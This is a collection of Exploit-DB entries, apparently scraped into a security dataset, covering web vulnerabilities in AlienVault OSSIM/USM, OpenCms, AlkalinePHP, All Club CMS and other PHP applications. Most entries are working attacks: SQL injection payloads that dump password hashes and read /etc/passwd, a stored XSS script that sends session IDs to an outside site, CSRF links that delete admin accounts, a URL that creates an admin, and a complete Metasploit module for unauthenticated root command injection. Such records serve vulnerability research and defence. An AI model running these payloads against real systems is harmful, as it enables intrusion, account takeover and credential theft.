deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25447
Description: Alienvault Open Source SIEM (OSSIM) 4.1.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-05-14
Author: RunRunLevel

Exploit:
RunRunLevel Web Security Research - AlienVault OSSIM multiple SQL Injection vulnerabilities
Vendor Website : http://www.alienvault.com

 INDEX
---------------------------------------
    1. Background
    2. Description
    3. Affected Products
    4. Vulnerabilities
    5. Solution
    6. Credit
    7. Disclosure Timeline


1. BACKGROUND
---------------------------------------
    OSSIM by AlienVault is an Open Source Security Information and Event Management (SIEM) platform, comprising a collection of tools designed to aid network administrator in computer security, intrusion detection and prevention. (Wikipedia)


2. DESCRIPTION
---------------------------------------
    The RunRunLevel Web Security Research Team discovered several vulnerabilities in the OSSIM web interface. All web vulnerabilities are caused by lack/unproper input validation. The Web Security Reseach Team also found that OSSIM MySQL database was running with root privileges, allowing to a full system compromise of the OSSIM platform.


3. AFFECTED PRODUCTS
---------------------------------------
    AlienVault OSSIM  4.1.2 (stable version and below)

  
4. VULNERABILITIES
---------------------------------------
    The vulnerabilities can be classified as "SQL Injection". No input validation is performed when processing parameters on the following URL's:

    4.1  /ossim/forensics/base_qry_main.php [action_lst[0] parameter]
    4.2  /ossim/forensics/base_qry_main.php [action_lst[1] parameter]
    4.3  /ossim/forensics/base_qry_main.php [action_lst[18] parameter]
    4.4  /ossim/forensics/base_qry_main.php [action_lst[6] parameter]
    4.5  /ossim/forensics/base_qry_main.php [hostid[0] parameter]
    4.6  /ossim/forensics/base_qry_main.php [sort_order parameter]
    4.7  /ossim/forensics/base_qry_main.php [time[0][8] parameter]
    4.8  /ossim/net/getnet.php              [sortname parameter]
    4.9  /ossim/session/users_edit.php      [login parameter]
    4.10 /ossim/session/users_edit.php      [name parameter]

    Together with the SQLi vulns was found that the MySQL Database server was running with system administrator privileges.

    4.11 MySQL database running with root privileges


5. SOLUTION
---------------------------------------
    Vendor contacted, but no response provided.


6. CREDIT
---------------------------------------
    The vulnerabilities were discovered by the RunRunLevel Web Security Research Team.


7. DISCLOSURE TIMELINE
---------------------------------------
    2013-03-01 - Vulnerability Discovered
    2013-03-10 - Vendor Informed
    2013-04-01 - No Response from Vendor
    2013-05-01 - No Response from Vendor
    2013-05-09 - Public Disclosure
Exploit-DB #38400
Description: Alienvault Open Source SIEM (OSSIM) 4.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-10-05
Author: MohamadReza Mohajerani

Exploit:
# Exploit Title: [AlienVault - ossim CSRF]
# Date: [10-5-2015]
# Exploit Author: [MohamadReza Mohajerani]
# Vendor Homepage: [www.alienvault.com]
# Software Link: [https://www.alienvault.com/products/ossim]
# Version: [Tested on 4.3]

Vulnerability Details:

=====================


Multiple CSRF vectors exists within AlienVault ossim allowing the following
attacks:

1)Delete user accounts(ex.admin account)

2)Delete knowledge DB items

Exploit code(s):

===============

The only thing the attacker needs to do is sending the following link to
the victim via GET request , if the victim authenticated on the ossim and
click on the link the following attacks can be occurred :

1)For deleting the
knowledge DB items just send the link below:
https://ossim-ip/ossim/repository/repository_delete.php?id_document=10232


[id_document is the item number which you want to delete (it starts from 1)]

2)For deleting the user accounts (ex.admin account) use the link below :
https://ossim-ip/ossim/session/deleteuser.php?user=admin&_=[PII_REDACTED]45

[the random number[PII_REDACTED]845) is not important at all and you can
change the number to whatever you want]



Severity Level:

================
High
Exploit-DB #40683
Description: Alienvault OSSIM/USM 5.3.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-11-02
Author: Peter Lapp

Exploit:
Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: Stored XSS
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8581
CVSS: 3.5
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A stored XSS vulnerability exists in the User-Agent header of the
login process. It's possible to inject a script into that header that
then gets executed when mousing over the User-Agent field in Settings
-> Current Sessions.



POC
===

The POC uses jQuery to send all session IDs on the "Current Sessions"
page to an arbitrary site (Google, in this case)

<script>$('#ops_table
.ops_id').each(function(){$.get("https://www.google.com/",{session:($(this).html())});});</script>



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities
Exploit-DB #40682
Description: Alienvault OSSIM/USM 5.3.1 - PHP Object Injection
Type: webapps
Platform: php
Date: 2016-11-02
Author: Peter Lapp

Exploit:
Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: PHP Object Injection
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8580
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A PHP object injection vulnerability exists in multiple widget files
due to the unsafe use of the unserialize() function. The affected
files include flow_chart.php, gauge.php, honeypot.php,
image.php,inventory.php, otx.php, rss.php, security.php, siem.php,
taxonomy.php, tickets.php, and url.php.
An authenticated attacker could send a serialized PHP object to one of
the vulnerable pages and potentially gain code execution via magic
methods in included classes.



POC
====

This benign POC injects the IDS_Report class from PHPIDS into the
refresh parameter of image.php. The __toString method of IDS_Report is
then executed and the output is displayed in the value of the content
field in the response:

/ossim/dashboard/sections/widgets/data/image.php?type=test&wtype=blah&height=1&range=1&class=1&id=&adj=1&value=a%3A5%3A{s%3A3%3A%22top%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22adjustment%22%3Bs%3A8%3A%22original%22%3Bs%3A6%3A%22height%22%3Bs%3A3%3A%22123%22%3Bs%3A7%3A%22refresh%22%3BO%3A10%3A%22IDS_Report%22%3A3%3A{s%3A9%3A%22%00*%00events%22%3Bs%3A9%3A%22testevent%22%3Bs%3A7%3A%22%00*%00tags%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00*%00impact%22%3Bs%3A16%3A%22Object+Injection%22%3B}s%3A7%3A%22content%22%3Bs%3A36%3A%22aHR0cDovL3d3dy50ZXN0LmNvbS8xLnBuZw%3D%3D%22%3B}



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities
Exploit-DB #40684
Description: Alienvault OSSIM/USM 5.3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-11-02
Author: Peter Lapp

Exploit:
Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: SQL Injection
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8582
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A SQL injection vulnerability exists in the value parameter of
/ossim/dashboard/sections/widgets/data/gauge.php on line 231. By
sending a serialized array with a SQL query in the type field, it's
possible to execute an arbitrary SQL query. The result is not
displayed on the screen, but it can be exploited as a blind SQLi or
have the output directed to a file and then retrieved via another
request. Authentication is required.



POC
===

This request will dump user password hashes to a file:

/ossim/dashboard/sections/widgets/data/gauge.php?&type=alarm&wtype=blah&asset=1&height=1&value=a%3A1%3A%7Bs%3A4%3A%22type%22%3Bs%3A67%3A%22pass+from+users+INTO+OUTFILE+%27%2Ftmp%2F10.0.0.123_pass_tshark.pcap%27--+-%22%3B%7D

The file containing the output can then be retrieved with the following request:
/ossim/pcap/download.php?scan_name=pass&sensor_ip=10.0.0.123

It's also possible to read the contents of any file readable by the
mysql user by using mysql's load_file function. For example, changing
the request to something like select load_file('/etc/passwd') .



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities
Exploit-DB #41884
Description: Alienvault OSSIM/USM 5.3.4/5.3.5 - Remote Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2017-04-13
Author: Peter Lapp

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'AlienVault USM/OSSIM API Command Execution',
      'Description'   => %q{
        This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root. 
      },
      'Author'        =>
        [
          'Unknown', # Privately disclosed to Alienvault
          'Peter Lapp (lappsec@gmail.com)' # Metasploit module
        ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          ['URL', 'https://www.alienvault.com/forums/discussion/8415/']
        ],
      'Privileged'     => false,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Compat'      => {
            'PayloadType' => 'cmd'
          }
        },
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Targets'        =>
        [
          [ 'Automatic', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 5 2017'))

    register_options(
      [
        Opt::RPORT(40011)
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
      'vars_post' => {
        'host_ip'    => "127.0.0.1"
      },
          'headers'  => {
            'Accept' => "application/json"
      }
    })

    if res and res.code == 200 and res.body.include?('success')
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Executing payload...")

    res = send_request_cgi({
      'method' => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
      'vars_post' => {
        'host_ip'    => ";#{payload.encoded}"
      },
          'headers'  => {
            'Accept' => "application/json"
      }
    })
  end


end
Exploit-DB #26707
Description: Alisveristr E-Commerce Login - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-03
Author: B3g0k

Exploit:
source: https://www.securityfocus.com/bid/15699/info

Alisveristr E-commerce is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following example is available:
Username : ' or ''='
Password : ' or ''='
Exploit-DB #45840
Description: Alive Parish 2.0.4 - SQL Injection / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Alive Parish 2.0.4 - SQL Injection / Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://demo.aliveparish.com
# Software Link: https://netcologne.dl.sourceforge.net/project/aliveparish/aliveparish-v2.0.zip
# Version: 2.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/parish/search?key=[SQL]
# 
GET /[PATH]/parish/search?key=%27||(SeleCT%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||%27 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=d98c14a2b1f274925e[PII_REDACTED]a20d
Connection: keep-alive
HTTP/2.0 500 Internal Server Error
Server: nginx
Date: Sun, 11 Nov 2018 09:18:22 GMT
Content-Type: text/html; charset=UTF-8
x-powered-by: PHP/7.1.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Firefox-Spdy: h2

# POC: 
# 2)
# http://localhost/[PATH]/person/photo/1
# 
# http://localhost/[PATH]/images/uploaded/[FILE]
# 
<html>
<body>
<form enctype="multipart/form-data" id="families-form" action="http://localhost/[PATH]/person/photo/1" method="post">
<input id="ytPeople_raw_photo" value="" name="People[raw_photo]" type="hidden">
<input name="People[raw_photo]" id="People_raw_photo" type="file">
<input name="yt0" value="Save" type="submit">
</form>
</body>
</html>
Exploit-DB #31365
Description: Alkacon OpenCMS 7.0.3 - 'logfileViewSettings.jsp?filePath' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-08
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/28152/info

Alkacon OpenCms is prone to multiple input-validation vulnerabilities, including one cross-site scripting issue and a file-disclosure issue, because the application fails to properly sanitize user-supplied input.

Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to obtain information that could aid in further attacks.

OpenCms 7.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Exploit-DB #31366
Description: Alkacon OpenCMS 7.0.3 - 'logfileViewSettings.jsp?filePath.0' Arbitrary File Access
Type: webapps
Platform: php
Date: 2008-03-08
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/28152/info
 
Alkacon OpenCms is prone to multiple input-validation vulnerabilities, including one cross-site scripting issue and a file-disclosure issue, because the application fails to properly sanitize user-supplied input.
 
Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to obtain information that could aid in further attacks.
 
OpenCms 7.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%2Fetc%2Fpasswd
Exploit-DB #35515
Description: Alkacon OpenCMS 7.5.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-28
Author: antisnatchor

Exploit:
source: https://www.securityfocus.com/bid/47055/info

Alkacon OpenCms is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to OpenCms 7.5.4 are vulnerable.

http://www.example.com/opencms/opencms/system/workplace/commons/report-locks.jsp?resourcelist=null&resource=/demo_de&includerelated=false">XSSvector

http://www.example.com/opencms/opencms/system/workplace/views/explorer/contextmenu.jsp?resourcelist=/deco_logo.png&acttarget=514f2">XSSvector
Exploit-DB #33149
Description: Alkacon OpenCMS 7.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2009-08-06
Author: Katie French

Exploit:
source: https://www.securityfocus.com/bid/35979/info

OpenCms is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an authenticated attacker to obtain sensitive information, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OpenCms 7.5.0 is affected; other versions may also be vulnerable. 

http://www.example.com/opencms/opencms/system/modules/org.opencms.workplace.help/jsptemplates/help_head.jsp?&homelink=>"&#039;><script>alert("This%20site%20has%20been%20compromised")</script>
Exploit-DB #5645
Description: AlkalinePHP 0.77.35 - 'adduser.php' Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-05-18
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+	          AlkalinePHP <= 0.77.35 (adduser.php) Arbitrary Add-Admin           +==--
--==+================================================================================+==--



[*] Discovered By: t0pP8uZz
[*] Discovered On: 17 MAY 2008
[*] Script Download: https://sourceforge.net/projects/alkalinephp/
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 
	
	AlkalinePHP suffers from a insecure adminpage, since the page only handles requests the author probarly
	thought it was safe not to include admin checking, but when we view the source we can cleary see theres
	nothing to stop us making our own request.

	navigating to the below url (with domain replaced of course) will add a admin account.

	do not forget to replace "[user]" and "[pass]" with a actual "username" and "password".



[*] Vulnerability:

	http://site.com/adduser.php?real_name=null&user_name=[user]&password=[pass]&level=10&email=null@null.com&website=null&misc=null



[*] NOTE/TIP: 

	after running the above url (with domain replaced of course) it may seem nothing has happend,
	but try loggin in after with the username and password you created.

	admin login is the normal user login.

	once your admin you can look here to view the mysql connection information "/editsettings.php"
	another intresting file to view is "/edituser.php"



[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, CipherCrew !



[-] peace, 
	t0pP8uZz



--==+================================================================================+==--
--==+	          AlkalinePHP <= 0.77.35 (adduser.php) Arbitrary Add-Admin           +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-18]
Exploit-DB #5061
Description: All Club CMS 0.0.1f - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-04
Author: Trancek

Exploit:
Vulnerability: File Inclusion

Software Vulnerable:

All Club CMS 0.0.1f and maybe prior versions.

Vulnerable Code:

---
function __autoload($class_name) {
    require_once 'includes/'.$class_name . '.php';
}
---


Download:
http://sourceforge.net/project/showfiles.php?group_id=209058

Server should have:
    Register Globals: On
    Magic_quotes_gpc: Off

Exploit :                                                  
http://www.vulnerable.com/accms_site/index.php?class_name=[LFI]%00


Greetz:

P1mp4m.es--> pepepistola, musashi, patoruzu, ElvisPresley and sky
Yashira.org--> PescaoDeth, Garcez, Crackneo, alexhk_23 and all users of yashira as dapaf, el_manguan, etc.


Author: Trancek 

# milw0rm.com [2008-02-04]
Exploit-DB #5064
Description: All Club CMS 0.0.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-05
Author: ka0x

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 All Club CMS <= 0.0.1f index.php Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


bug found by ka0x
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
http://www.domlabs.org/

Script affected: All Club CMS
Vulnerability: Remote SQL Injection

Download: http://sourceforge.net/project/showfiles.php?group_id=209058
need magic_quotes_gpc = off


vuln code:

[...]

if (isset($_GET['name']) && (!(empty($_GET['name'])))) {
   
  $name = $_GET['name'];
  $name = stripslashes($name);
  // stop hackers
  if (eregi("http\:\/\/", $name)) {
      echo "<br />&nbsp;&nbsp;No go on the hack attempt.<br />";
      // log attempt, from IP, etc.
      if ($SYS_SET['ban_attack_ip']) {
        // ban ip if ban_attack_ip
      }
    die();
  }
   
  $sth = $dbh->prepare("SELECT * FROM accms_modules WHERE name='$name'");
 
[...]


Stripslashes function only deletes backslashes (\) and the backslashes
doubles (\\) becomes simple (\).


Exploit:
http://[host]/accms_path/index.php?name=-1'/**/union/**/select/**/1,concat(account,0x3a,password,0x3a,email),3,4,5,6,7,8,9,1,1,1,1/**/from/**/accms_users/**/where/**/id=1/*


__EOF__

# milw0rm.com [2008-02-05]
Exploit-DB #25208
Description: All Enthusiast PhotoPost PHP Pro 5.0 - 'adm-photo.php' Arbitrary Image Manipulation
Type: webapps
Platform: php
Date: 2005-03-10
Author: Igor Franchuk

Exploit:
source: https://www.securityfocus.com/bid/12779/info

PhotoPost PHP Pro is a web-based image gallery application written in PHP. It can be implemented on any platform that supports PHP script execution.

Multiple remote vulnerabilities affect All Enthusiast PhotoPost PHP Pro. These issues are due to a failure of the application to validate access rights and user-supplied input.

The first issue is an access validation issue that may allow attackers to manipulate images uploaded by arbitrary users. The second issue is a cross-site scripting vulnerability.

An attacker may leverage these issues to execute script code in an unsuspecting user's browser and to bypass authentication to execute certain application commands.

http://www.example.com/photopost/adm-photo.php?ppaction=manipulate&pid=[IMAGE ID]&dowhat=rebuildthumb&dowhat=rotateccw